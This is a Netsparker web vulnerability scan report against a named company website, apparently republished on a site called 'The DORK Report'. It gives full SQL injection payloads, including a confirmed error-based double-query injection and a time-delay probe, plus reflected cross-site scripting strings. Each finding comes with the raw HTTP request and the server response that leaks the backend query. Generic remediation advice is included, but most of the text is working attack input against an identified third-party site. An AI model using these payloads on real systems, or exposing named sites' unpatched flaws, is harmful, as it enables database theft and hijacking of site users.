The DORK Report

Loading

Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://www.bluestarfibres.com/page.php?path=h...
SCAN DATE
3/8/2011 6:09:25 AM
REPORT DATE
3/8/2011 6:15:26 AM
SCAN DURATION
00:01:23

Total Requests

Average Speed

req/sec.
10
identified
5
confirmed
4
critical
1
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, Local File Inclusion, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
40 %
IMPORTANT
30 %
LOW
20 %
INFORMATION
10 %
SQL Injection

SQL Injection

1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /page.php

/page.php CONFIRMED

http://www.bluestarfibres.com/page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat..

Parameters

Parameter Type Value
path GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
print GET true

Request

GET /page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&print=true HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:29 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


Duplicate entry '_!@4dilemma:0' for key 1<br />SELECT * FROM page WHERE path = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND published ='Y' LIMIT 1
[High Possibility] SQL Injection

[High Possibility] SQL Injection

3 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /page.php

/page.php

http://www.bluestarfibres.com/page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64..

Parameters

Parameter Type Value
path GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:09:49 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1<br />SELECT * FROM page WHERE path = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' AND published ='Y' LIMIT 1
- /page.php

/page.php

http://www.bluestarfibres.com/page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64..

Parameters

Parameter Type Value
path GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
text GET large

Request

GET /page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&text=large HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:03 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1<br />SELECT * FROM page WHERE path = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' AND published ='Y' LIMIT 1
- /page.php

/page.php

http://www.bluestarfibres.com/page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64..

Parameters

Parameter Type Value
path GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
print GET true

Request

GET /page.php?path='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&print=true HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1<br />SELECT * FROM page WHERE path = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' AND published ='Y' LIMIT 1
Cross-site Scripting

Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /page.php

/page.php CONFIRMED

http://www.bluestarfibres.com/page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00..

Parameters

Parameter Type Value
path GET '"--></style></script><script>alert(0x00003C)</script>
text GET large

Request

GET /page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00003C)%3C/script%3E&text=large HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:07 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x00003C)</script>' AND published ='Y' L' at line 1<br />SELECT * FROM page WHERE path = ''"--></style></script><script>netsparker(0x00003C)</script>' AND published ='Y' LIMIT 1
- /page.php

/page.php CONFIRMED

http://www.bluestarfibres.com/page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00..

Parameters

Parameter Type Value
path GET '"--></style></script><script>alert(0x000042)</script>

Request

GET /page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000042)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:13 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000042)</script>' AND published ='Y' L' at line 1<br />SELECT * FROM page WHERE path = ''"--></style></script><script>netsparker(0x000042)</script>' AND published ='Y' LIMIT 1
- /page.php

/page.php CONFIRMED

http://www.bluestarfibres.com/page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00..

Parameters

Parameter Type Value
path GET '"--></style></script><script>alert(0x000050)</script>
print GET true

Request

GET /page.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000050)%3C/script%3E&print=true HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:34 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000050)</script>' AND published ='Y' L' at line 1<br />SELECT * FROM page WHERE path = ''"--></style></script><script>netsparker(0x000050)</script>' AND published ='Y' LIMIT 1
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /page.php

/page.php

http://www.bluestarfibres.com/page.php?path=history

Extracted Version

PHP/4.4.7

Request

GET /page.php?path=history HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:09:40 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><base href="http://www.bluestarfibres.com/" /><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>History - Bluestar Fibres</title><link href="bluestar-fibres-company.css" rel="stylesheet" type="text/css" /></head><body><div id="container"> <div id="logo-inner"></div> <div id="topspacer"></div> <div id="content-container-inner"> <div id="nav"><ul><li class="navtop"><a href="/">Home</a></li><li><a href="page.php?path=about-us">About Us</a></li><li><a href="page.php?path=history"><b>History</b></a></li><li><a href="page.php?path=product">Product</a></li><li><a href="page.php?path=people">People</a></li><li><a href="page.php?path=health-and-safety">Health and Safety</a></li><li><a href="page.php?path=recruitment">Recruitment</a></li><li><a href="page.php?path=contact-us">Contact Us</a></li><li><a href="page.php?path=employee-news">Employee News</a></li></ul></div> <div id="content-top"><img src="images/topcorner.gif" width="29" height="25" border="0" alt="" /></div> <div id="content"><h1>History</h1><p><img style="width: 513px; height: 237px" src="/cms/uploaded_images/Courtaulds-Plant.jpg" alt="Courtaulds Plant" title="Courtaulds Plant" width="513" height="237" /> </p><p><span class="red-text">The current Grimsby site was originally farmland acquired by Courtaulds Ltd in 1952 to build a Viscose fibre operation. The initial phase of a power station was built in 1956 to supply the planned Viscose operation, which opened in 1957. </span><br /><br />In 1959, Courtaulds started the Courtelle/Acrylic South Factory on the Grimsby site to make carpet fibre. During the mid 1960&rsquo;s the business was expanded with the commissioning of the North West (lines G to L), followed a few years later by the North East factory (lines R to W). The West factory was commissioned in 1973 which took the acrylic capacity to approximately 80,000 tonnes per annum.<br /><br />In the early 1960&#39;s Courtaulds, Morgan Crucible and the Ministry of Defence (MoD) started a joint development programme to turn the batch process for the carbonisation of acrylic fibre into a continuous process. In 1963, they successfully developed this process and consequently started the carbon fibre industry and demand for acrylic fibre precursor.<br /><br />In 1976, Courtaulds realised that there was a market for an independent source of carbon fibre precursor and started manufacture of this heavy tow (textile tow) precursor in Grimsby (25 tonnes in 1976). Over the next 20 years, the demand for an independent source of precursor grew and so did the number of customers as new markets evolved, like carbon carbon brakes, aircraft insulation, short cut carbon fibre, flame retardant fibres and continuous carbon fibre.<br /><br />In 1998, following a period of financial difficulties, Courtaulds accepted a friendly takeover bid from Akzo Nobel. As a consequence the Grimsby acrylic operation (Courtelle) became Acordis UK Ltd.<br /><br />In December 2006, the precursor business was acquired and re-named Bluestar Fibres Company Ltd.</p><p class="text">In April 2007 <a href="http://www.techabsorbents.com">Technical Absorbents Ltd</a> became a wholly owned subsidiary of Bluestar Fibres Limited.</p><p>&nbsp;<img style="width: 139px; height: 58px" src="/cms/uploaded_images/TAL.jpg" alt="TAL" title="TAL" width="139" height="58" /></p></div> <div class="clear"></div> </div> <div id="content-footer"></div> <div class="clear"></div> <div id="footer"> <div id="copyright"><div>Copyright Bluestar Fibres 2009</div><div id="text-size">Text Size: <a href="page.php?path=history" style="text-decoration:underline">A</a>&nbsp;<a class="text-large" href="page.php?path=history&text=large">A</a>&nbsp;&nbsp;&nbsp;<a href="page.php?path=history&print=true" target="_blank">Print this page</a>&nbsp;&nbsp;&nbsp;</div></div> <div id="footerlinks"><a href="page.php?path=site-map">Site Map</a>&nbsp;|&nbsp;<a href="page.php?path=links">Links</a>&nbsp;|&nbsp;<a href="page.php?path=terms-and-conditions">Terms and Conditions</a>&nbsp;|&nbsp;<a href="page.php?path=legal">Legal</a></div> </div></div><script language="javascript" type="text/javascript" src="norightclick.js"></script></body></html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /page.php

/page.php

http://www.bluestarfibres.com/page.php?path=%27;WAITFOR%20DELAY%20%270:0:25%27--

Parameters

Parameter Type Value
path GET ';WAITFOR DELAY '0:0:25'--

Request

GET /page.php?path=%27;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:09:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';WAITFOR DELAY '0:0:25'--' AND published ='Y' LIMIT 1' at line 1<br />SELECT * FROM page WHERE path = '';WAITFOR DELAY '0:0:25'--' AND published ='Y' LIMIT 1
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /page.php

/page.php CONFIRMED

http://www.bluestarfibres.com/page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat..

Request

GET /page.php?path='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&print=true HTTP/1.1
Referer: http://www.bluestarfibres.com/page.php?path=history
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.bluestarfibres.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:29 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html


Duplicate entry '_!@4dilemma:0' for key 1<br />SELECT * FROM page WHERE path = ''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND published ='Y' LIMIT 1